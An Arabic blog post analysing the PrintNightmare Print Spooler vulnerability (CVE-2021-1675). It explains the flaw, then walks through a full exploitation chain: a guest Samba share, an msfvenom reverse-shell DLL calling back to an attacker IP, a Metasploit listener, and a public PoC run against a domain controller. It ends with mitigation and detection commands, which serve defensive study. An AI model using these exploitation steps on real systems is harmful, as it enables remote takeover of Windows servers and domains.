قامت شركة ويندوز ب نشر patch لثغرة من نوع - في تاريخ jun 8, 2021
LPE ( Local Privilege escalation )
والتي تسمح للمهاجم بتصعيد او ترقية صلاحياته من يوزر طبيعي الى يوزر بصلاحيات ادمن.
- ولكن في نفس الشهر وبالتحديد تاريخ jun 21, 2021 قامت ويندوز ب تعديل الثغره من نوع LPE الى RCE.
طبعا الثغره تم اكتشافها تبعا لأبحاث قاموا بها باحثيين امنيين والتي تخص ثغراات مسبقة عديده تستغل ال spooler service في الويندوز والي كانت تحت أسم:
printdemon cve-2020-1048
أما بالنسبة للثغرة اللي حبيت اعمل عليه تحليل بسيط للأفادة فهي ثغره تحمل ال CVE التالي :
CVE-2021-1675
وتم تسميتها ب :
PrintNightmare
ال CVSS الخاص بالثغرة:
CVSS:3.0 7.8 / 6.8
الثغرة متواجدة بسب وجود مشاكل عديدة ( تقريبا من 10 سنين ) في خدمه معينة في اجهزة الويندوز والذي بدورها مسؤوله عن أدارة الطابعات وسيرفرات الطابعات وهي :
Print Spooler
الservice موجوده في كافة اجهزة الويندوز بالاضافه الى انها enabled by default.
ال print spooler يقوم باجراء عملياته الاساسيه بأستخدام البروتوكل التالي :
[MS-RPRN]: Print System Remote Protocol
الثغرة تصيب جميع اجهزة الويندوز من غير اي استثناء وحتى الاجهزة التي تم تحديثها بالكامل.
شخصيا انا جربتها على الاصدارات التالية:
windows server 2012 ( fully patched )
windows server 2016 ( fully patched )
windows server 2019 ( fully patched )
تم اكتشاف الثغره من قبل الباحثيين:
Zhipeng Huo
Piotr Madej
Zhang Yunhai
الثغرة نوعا ما سهله الشرح, وممكن نلخصها بالتالي:
1- المهاجم يريد اضافه تعريف لطابعه معينه لاستخدامها بأغراض مكتبية.
2- المهاجم يقوم بتكوين ملفات ضارة من شانها تنفيذ اوامر او فتح باب خلفي للسيطره على الهدف.
3- المهاجم عوضا عن ارسال ال driver الخاص بالطابعه المراد العمل عليها , الا انه يقوم باجراء calls معينه مع الprint server او اي server لارسال الملفات الضارة لخداع السيرفر والسيطرة عليها سيطره كامله.
في ذات الاسبوع قام حساب على github بنشر ال PoC الخاصه باستغلال الثغره ولكنه قام بحذف ال repo تجنبا للاستخدام الخاطئ. ولكن للٍأسف ال repo تم تحميله من قبل العامة.
https://twitter.com/edwardzpeng/status/1409810304091889669
بعدها طبعا تم نشر اكثر من PoC
لشرح فكرة الثغرة بشكل مبسط ونظري , فلنفترض الأتي:
printer driver : HP Printer Driver
Print server: PRTSRV-01
Attacker ( normal domain user ) : testuser
السيناريو حاليا هو ان اليوزر العادي سوف يقوم باضافة ال driver ل الserver باستخدام صلاحيات يوزر عادي في بيئة الactive directory بشكل عام.
الخطوات:
1- سوف يقوم اليوزر بأستخدام ال RpcAddPrinterDriver call لأضافة الdriver الى السيرفر
2- يتم حفظ الملف الخاص بال driver في مكان تستطيع ال print server الوصول اليه, وابسط مثال على ذلك هو استضافة الملف على جهاز داخلي ومشاركة المسار التي تم حفظ الdriver فيه مع الserver
3- ومن ثم تخصيص ( حفظ ) الاعدادت ( تفاضيل الملفات والسيرفر .. الخ ) على ال DRIVER_INFO_2 بالشكل التالي :
pName = L"HP Printer Driver";
pEnvironment = L"Windows NT x86"; /* Environment the driver is compatible with */
pDriverPath = "\\PRTSRV-01\C$\DRIVERSTAGING\HPDRV.DLL";315 / 415
[MS-RPRN] - v20200826
Print System Remote Protocol
Copyright © 2020 Microsoft Corporation
Release: August 26, 2020
pDataFile = "\\PRTSRV-01\C$\DRIVERSTAGING\HPDRV.DLL";
pConfigFile = "\\PRTSRV-01\C$\DRIVERSTAGING\HPDRV.DLL";
4- سيقوم بعد ذلك اليوزر بتخصيص وحفظ الاعدادت ( المتواجده في ال DRIVER_INFO_2 ) على DRIVER_CONTAINER driverContainer structure.
5- الخطوه الاخيره وهي استخدام RpcAddPrinterDriver call لتطبيق كل ما تم فعله:
RpcAddPrinterDriver( L"\\PRTSRV-01", &driverContainer );
طبعا من المفترض ان في authentication اثناء اداء العملية بأستخدام الRpcAddPrinterDriver ولكن للأسف اثناء تطبيق الاستغلال للثغره اكتشف الباحث الامني ان الauthentication المسؤول عنه SeLoadDriverPrivilege, من الممكن تخطيه.
ايضا هنالك security check في ال spooler service والمسؤول عنه ValidateObjectAccess تم تخطيه نظرا لوجود authentication logic issue في الكود البرمجي تبع مايكروسوفت.
في حال ان كل الخطوات تم تنفيذها, فالان ممكن نعرف كيف بالتفصيل يمكن استغلال هذي الثغره لاسيطره الكامله على الجهاز او النتورك بشكل كامل.
وعشان نعرف كيف يمكن استغلال الثغره ,لازم الاول نعرف كيف ال Spooler service يتعامل في حال وجود RpcAddPrinterDriver call:
فلنفترض ان لدينا الvariables التالية والتي تحتوي على اماكن الملفات المطلوبه لانجاز مهمه اضافه الdriver:
pDataFile =A.dll
pConfigFile =\attackerip\Evil.dll
pDriverPath=C.dll
الخطوه الاولى والتي الspooler service سوف يقوم بها هي نسخ كافة الملفات ( ال3 ) الى:
C:\Windows\System32\spool\drivers\x64\3\new
الخطوة الثانية وهي نسخ كافة الملفات ( ال3 ) الى:
C:\Windows\System32\spool\drivers\x64\3
الخطوة الثالثة وهي ان ال spooler service سوف يقوم بتحميل ( قراءة ) الملفات التالية بعد نسخها:
C:\Windows\System32\spool\drivers\x64\3\A.dll
C:\Windows\System32\spool\drivers\x64\3\C.dll
C:\Windows\System32\spool\drivers\x64\3\ Evil.dll
طبعا الspooler service في اخر اصداراته يتاكد قبل كل شي ان الملفين A.dll و C.dll ليسوا متواجدين في مسار من نوع UNC.
ولكن بالنسبة لB اللي هو pConfigFile =\attackerip\Evil.dll ف من الممكن ان يتم نسخه من مسار من نوع UNC.
وبناء على ذلك ف من الممكن استبدال ال pConfigFile =\attackerip\Evil.dll باي ملف DLL اخر عليه reverse shell او اي امر اخر من شأنه السيطرة الكلية على السيرفر.
ولكن المشكلة هي أن في حالة تواجد ال3 الملفات في مجلد واحد نظرا لوجود access conflict , ف في هذي الحال لا يمكن تنفيذ ال Evil.dll والذي يحتوي مثلا على ال reverse shell .
والحل .. ..؟؟؟
الحل يكمن في استغلال ميزه في تحديثات الdrivers وهي ال backup.
يعني فلنفترض ان لدينا ملفات driver في هذا المسار على الويندوز:
C:\Windows\System32\spool\drivers\x64\3\
في حالة حصول update لنفس الdriver ف سوف يقوم نظام الويندوز بعمل backup للاصدار الاول من الdriver الى هذا المسار :
C:\Windows\System32\spool\drivers\x64\3\old\1\
وهذي هي الطريقة المستخدمة في حفظ الملفات الثلاثه وبالاخص الملف الdll اللي عليه الreverse shell او ايا كان.
طريقة الاستغلال
==========
==========
استغلال الثغره من على جهاز linux
-----------------------------------
1- ِنقوم بأنشاء مجلد مشاركة لحفظ ملف ال dll عليه بأستخدام ال samba:
- mkdir ~/testfolder
- sudo vim /etc/samba/smb.conf
- copy the following config lines
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /home/username/testfolder
guest ok = yes
read only = no
browsable = yes
create mask = 7777
- sudo service smbd stop
- sudo chown nobody.nogroup /home/username/testfolder
- sudo service smbd start
2- أنشاء ملف ضار ( .dll ) علية اي نوع من الpost exploitation attacks وغالبا ما يكون reverse shell. في هذي الحاله يمكن نستخدم ال msfvenom:
sudo msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=192.168.1.129 LPORT=4444 -o ~/testfolder/reverse.dll
3- ومن ثم نقوم بانشاء listener على الmetasploit :
msfconsole -q
use multi/handler
set payload windows/x64/shell_reverse_tcp
set lhost 192.168.1.129
set lport 4444
exploit -j
4- حذف نسخه ال impacket القديمه ( ان وجدت ) واستبدالها بالنسخه التي يمكن استغلال الثغره عن طريقها :
sudo pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
sudo python3 ./setup.py install
5- الخطوه الاخيره وهي عمل clone للPoC وتنفذيه :
git clone https://github.com/cube0x0/CVE-2021-1675.git
cd CVE-2021-1675
python3 CVE-2021-1675.py offsectest.test/test:asdqwe@123@192.168.1.180 '\\192.168.1.129\smb\reverse.dll'
طبعا اليوزر test يوزر لا يملك اي صلاحية.
192.168.1.180 primary domain controller
192.168.1.129 my attacking box
سؤال : كيف يمكن نعرف اذا كان الجهاز المستهدف مصاب بالثغره ام لا قبل الاستغلال ؟
الجواب :
remotely :
python3 ~/tools/impacket/examples/rpcdump.py @192.168.1.180 | grep MS-RPRN && echo "Host is vulnerable" || echo "host is not vulnerable"
Locally :
get-service *spool*
sc query "spooler" | find "RUNNING"
طرق الحماية
========
========
الحل الاول - تعطيل خدمه ال print spooler نهائيا :
get-service *spool* | stop-service
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
sc stop spooler
net stop spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start " /t REG_DWORD /d "4" /f
Uninstall-WindowsFeature Print-Services
Policies/Windows Settings/Security Settings/System Services/Print Spooler
الحل الثاني - تقييد الوصول للمسار التالي عن طريق ال ACL:
C:\Windows\System32\spool\drivers
عن طريق استخدام اوامر الpowershell التالية :
$Path = "C:\Windows\System32\spool\drivers"
$Acl = Get-Acl $Path
$Ar = New-Object System.Security.AccessControl.FileSystemAccessRule("System", "Modify", "ContainerInherit, ObjectInherit", "None", "Deny")
$Acl.AddAccessRule($Ar)
Set-Acl $Path $Acl
الحل الثالث - تعطيل ال client connections لل spooler عن طريق ال Group policy :
omputer configurations/administrative Templates/Printers/Allow Print Spooler to accept client connections ( change to disabled )
تأكد من استغلال الثغره على جهازك
=====================
=====================
1- مراقبة ال log entries المتواجده في Microsoft-Windows-PrintService/Admin عن طريق امر الpowershell التالي:
Get-WinEvent -LogName 'Microsoft-Windows-PrintService/Admin' | Select-String -InputObject {$_.message} -Pattern 'The print spooler failed to load a plug-in module'
2- راقب بشكل دومي الevent الخاص بال imageload
EVENT ID 7
3- قم بتفعيل ال log ( Microsoft-Windows-PrintService/Operational ) عن طريق
اوامر الpowershell التالية:
$logDeets = Get-LogProperties 'Microsoft-Windows-PrintService/Operational'
$logDeets.Enabled = $true
Set-LogProperties -LogDetails $logDeets
تعليقات
إرسال تعليق